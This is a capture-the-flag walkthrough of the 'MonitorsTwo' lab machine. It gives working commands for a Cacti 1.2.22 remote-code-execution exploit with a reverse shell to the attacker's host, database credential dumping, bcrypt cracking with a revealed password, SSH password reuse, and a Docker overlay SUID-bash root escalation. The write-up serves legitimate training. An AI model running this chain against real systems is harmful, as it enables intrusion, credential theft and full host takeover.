Skip to content

MonitorsTwo

Machine Information

Name OS IP Difficulty
MonitorsTwo Linux 10.10.11.211 Easy

Background

This machine is based on CVE-2022-46169 and CVE2021-41091 The version of Cacti allows the attacker to bypass authentication and gain remote code execution. The docker exploit allows a low privilege user to traverse directories and retains the suid of the docker container user to the host.

Methodology

First, let's start off with a nmap scan to see what we are up against.

Nmap Scan

sudo nmap -Pn -n -p- -A -T4 -v 10.10.11.211 -oN nmap.txt
$ sudo nmap -Pn -n -p- -A -T4 -v 10.10.11.211 -oN nmap.txt
<SNIP>
Nmap scan report for 10.10.11.211
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
|_http-title: Login to Cacti
<SNIP>

With the output from Nmap we see that we are working with two different ports, 80, and 22. Based off the scan, port 22 does not appear to be vulnerable, but might be a method for entry further along.

Lets dig in with port 80 to see if there might be any exploitation there.

Cacti

Navigating to http://10.10.11.211 we can see that the web application is running Cacti, a monitoring solution. From the login page we can see that it is version 1.2.22.

Screenshot of Cacti login page with version outlined
Screenshot of Cacti login page

We can see if Exploit-DB has anything for this version of Cacti from our terminal with searchsploit.

searchsploit cacti 1.2.22
$ searchsploit cacti 1.2.22
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Cacti v1.2.22 - Remote Command Execution (RCE)             | php/webapps/51166.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

This exploit might allow us to gain remote code execution via Cacti. Let us create a copy so we can make any changes necessary.

searchsploit -m 51166
$ searchsploit -m 51166
Exploit: Cacti v1.2.22 - Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/51166
     Path: /usr/share/exploitdb/exploits/php/webapps/51166.py
    Codes: CVE-2022-46169
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /htb/monitors-two/51166.py

Before we run it we will need to make a small change to the script. Open the file in your favorite text editor.

This line needs to be changed from

headers = {
            'X-Forwarded-For': f'{local_cacti_ip}'
        }
To
headers = {
            'X-Forwarded-For': '127.0.0.1'
        }
We will need two terminals, one for the script, and another to catch the reverse shell.

nc -nvlp 1234
python3 51166.py -p 1234 -u http://10.10.11.211 -i 10.10.14.124

If successful, we should be able to catch the shell.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.124] from (UNKNOWN) [10.10.11.211] 59562
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$

Reverse Shell

At this point we can stabilize the shell if we want to with

/usr/bin/script /dev/null -c /bin/bash
export TERM=xterm

Then using Ctrl + Z to background the shell

stty raw -echo; fg; reset

Python is not installed so we cannot use the typical pseudo terminal like below.

python3 -c 'import pty; pty.spawn("/bin/bash")'

We can run some simple commands to see where we are at. whoami returns www-data and ls /home returns nothing, ls -la / gives us a entrypoint.sh and a .dockerenv letting us know we are in a docker container.

Catting out the entrypoint.sh reveals the MySQL root user, password, host and database

www-data@50bca5e748b0:/var/www/html$ cat /entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"

We can also confirm this from the cacti configuration

grep /var/www/html/include/config.php -e "\$database"
www-data@50bca5e748b0:/var/www/html$ grep /var/www/html/include/config.php -e "\$database"
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

MySQL

With the MySQL details at hand, let's explore the database to see if we can obtain any credentials.

mysql -u root -proot -h db -D cacti -e 'show tables;'
www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db -D cacti -e 'show tables;'
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
| <SNIP>                              |
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
| <SNIP>                              |
+-------------------------------------+

We find a lot of tables but user_auth looks like it might have something. We can see what columns it contains.

mysql -u root -proot -h db -D cacti -e 'show columns from user_auth;'
www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db -D cacti -e 'show columns from user_auth;'
+------------------------+-----------------------+------+-----+---------+----------------+
| Field                  | Type                  | Null | Key | Default | Extra          |
+------------------------+-----------------------+------+-----+---------+----------------+
| id                     | mediumint(8) unsigned | NO   | PRI | NULL    | auto_increment |
| username               | varchar(50)           | NO   | MUL | 0       |                |
| password               | varchar(256)          | NO   |     |         |                |
| <SNIP>                 |                       |      |     |         |                |
+------------------------+-----------------------+------+-----+---------+----------------+

Within the table there are plenty of columns, but we can filter down to just the username and password columns.

mysql -u root -proot -h db -D cacti -e 'select username,password from user_auth;'
www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db -D cacti -e 'select username,password from user_auth;'
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest    | 43e9a4ab75570f5b                                             |
| marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
+----------+--------------------------------------------------------------+

This reveals two potential usernames, admin, and marcus, and potential for cracking two passwords.

Hashcat

On our own machine we will create a file that contains the username : hash

admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
With hashcat we can run the following

hashcat hashes.txt /usr/share/wordlists/rockyou.txt --username

This will error out with the following because it could not auto detect which hash mode we are trying to crack.

$ hashcat hashes.txt /usr/share/wordlists/rockyou.txt --username
<SNIP>
The following 4 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

Please specify the hash-mode with -m [hash-mode].

Let's correct our command to include the hash mode

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username
Once it has finished trying to crack both the hashes we can see if there are any results

hashcat -m 3200 hashes.txt --username --show
$ hashcat -m 3200 hashes.txt --username --show
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey

We were able to crack the password for marcus which is funkymonkey

User

We can check for password reuse by trying to login to the exposed SSH service. Password reuse is a common exploitable avenue which is why it is recommend to have different passwords for all logins.

ssh marcus@10.10.11.211
$ ssh marcus@10.10.11.211
marcus@10.10.11.211's password: 
<SNIP>

You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$ 

We are in and have a user! From here we can cat the user.txt flag and submit it.

Root

When we logged in from SSH we were informed we have mail! Let's take a look at what that might be.

cat /var/mail/marcus
marcus@monitorstwo:~$ cat /var/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team

What we can gather from this email are a handful of possible CVEs

  • CVE-2021-33033: uname -r gives us 5.4.0-147-generic, so this might be possible.
  • CVE-2020-25706: They are running Cacti 1.2.22, and we have already exploited Cacti
  • CVE-2021-41091: There are some interesting words here, directory traversal with code execution without restrictions, sounds fun.

Digging into CVE-2021-33033 the kernel currently running was released two years after this exploit was found. CVE-2021-41091 gives us some things to look into. We found this interesting blog on the topic.

docker --version shows us Docker version 20.10.5+dfsg1, build 55c4c88 which is applicable to the CVE.

Can we see the path to the docker overlay as described in the article?

findmnt |grep overlay
marcus@monitorstwo:~$ findmnt |grep overlay
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged       overlay                overlay    rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker/overlay2/l/3JPYTR54WWK2EX6DJ7PMMAVPQQ:/var/lib/docker/overlay2/l/YWET34PNBXR53LJY2XX7ZIXHLS:/var/lib/docker/overlay2/l/IM3MC55GS7JDB4D2EYTLAZAYLJ:/var/lib/docker/overlay2/l/6TLSBQSLTGP74QVFJVO2GOHLHL:/var/lib/docker/overlay2/l/OOXBDBKU7L25J3XQWTXLGRF5VQ:/var/lib/docker/overlay2/l/FDT56KIETI2PMNR3HGWAZ3GIGS:/var/lib/docker/overlay2/l/JE6MIEIU6ONHIWNBG36DJGDNEY:/var/lib/docker/overlay2/l/IAY73KSFENK4CC5DX5L2HCRFQJ:/var/lib/docker/overlay2/l/UDDRFLWFZYH6I5EUDCDWCOPSZX:/var/lib/docker/overlay2/l/5MM772DWMOBQZAEA4J34QYSZII,upperdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/diff,workdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/work,xino=off
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged       overlay                overlay    rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/overlay2/l/CXAW6LQU6QOKNSSNURRN2X4JEH:/var/lib/docker/overlay2/l/YWNFANZGTHCUIML4WUIJ5XNBLJ:/var/lib/docker/overlay2/l/JWCZSRNDZSQFHPN75LVFZ7HI2O:/var/lib/docker/overlay2/l/DGNCSOTM6KEIXH4KZVTVQU2KC3:/var/lib/docker/overlay2/l/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:/var/lib/docker/overlay2/l/K5DOR3JDWEJL62G4CATP62ONTO:/var/lib/docker/overlay2/l/FGHBJKAFBSAPJNSTCR6PFSQ7ER:/var/lib/docker/overlay2/l/PDO4KALS2ULFY6MGW73U6QRWSS:/var/lib/docker/overlay2/l/MGUNUZVTUDFYIRPLY5MR7KQ233:/var/lib/docker/overlay2/l/VNOOF2V3SPZEXZHUKR62IQBVM5:/var/lib/docker/overlay2/l/CDCPIX5CJTQCR4VYUUTK22RT7W:/var/lib/docker/overlay2/l/G4B75MXO7LXFSK4GCWDNLV6SAQ:/var/lib/docker/overlay2/l/FRHKWDF3YAXQ3LBLHIQGVNHGLF:/var/lib/docker/overlay2/l/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:/var/lib/docker/overlay2/l/W2EMLMTMXN7ODPSLB2FTQFLWA3:/var/lib/docker/overlay2/l/QRABR2TMBNL577HC7DO7H2JRN2:/var/lib/docker/overlay2/l/7IGVGYP6R7SE3WFLYC3LOBPO4Z:/var/lib/docker/overlay2/l/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,xino=off

Yes we can, one is the Cacti container, the other is the db. Now if we can see files inside the containers

ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bin   dev            etc   lib    media  opt   root  sbin  sys  usr
boot  entrypoint.sh  home  lib64  mnt    proc  run   srv   tmp  var

We need to make sure we are looking at the correct container, we can just make a tmp file from our reverse shell touch /tmp/himom

www-data@50bca5e748b0:/var/www/html$ touch /tmp/himom

ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp
himom                                  sess_817030c952507ff382ad8cbd89fef051

From the blog if we can get root inside the container we can keep the SUID. Let's go back to our Cacti reverse shell that we have to see if there is anything more we can exploit.

find / -perm -4000 -ls 2>/dev/null
www-data@50bca5e748b0:/var/www/html$ find / -perm -4000 -ls 2>/dev/null
    42364     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
    42417     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
    42317     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
    42314     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
    42407     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
     5431     32 -rwsr-xr-x   1 root     root        30872 Oct 14  2020 /sbin/capsh
    41798     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /bin/mount
    41819     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /bin/umount
    41813     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /bin/su

Going through GTFOBins we can see capsh can give us a root shell

capsh --gid=0 --uid=0 --

We can see the username has changed to root and the prompt changed from $ to #. We can still confirm with a whoami

www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# whoami
root

Now that we can escape www-data to root in the container, we can string the rest of this exploit together. Let us copy /bin/bash to /tmp/bash and set SUID for it in the docker reverse shell.

capsh --gid=0 --uid=0 -- -c "cp /bin/bash /tmp/bash && chmod 4777 /tmp/bash"

From the SSH connection with marcus we can escalate root with the copy of the bash program that has SUID set.

/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/bash -p

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/bash -p
bash-5.1# whoami
root

We can now submit the root flag!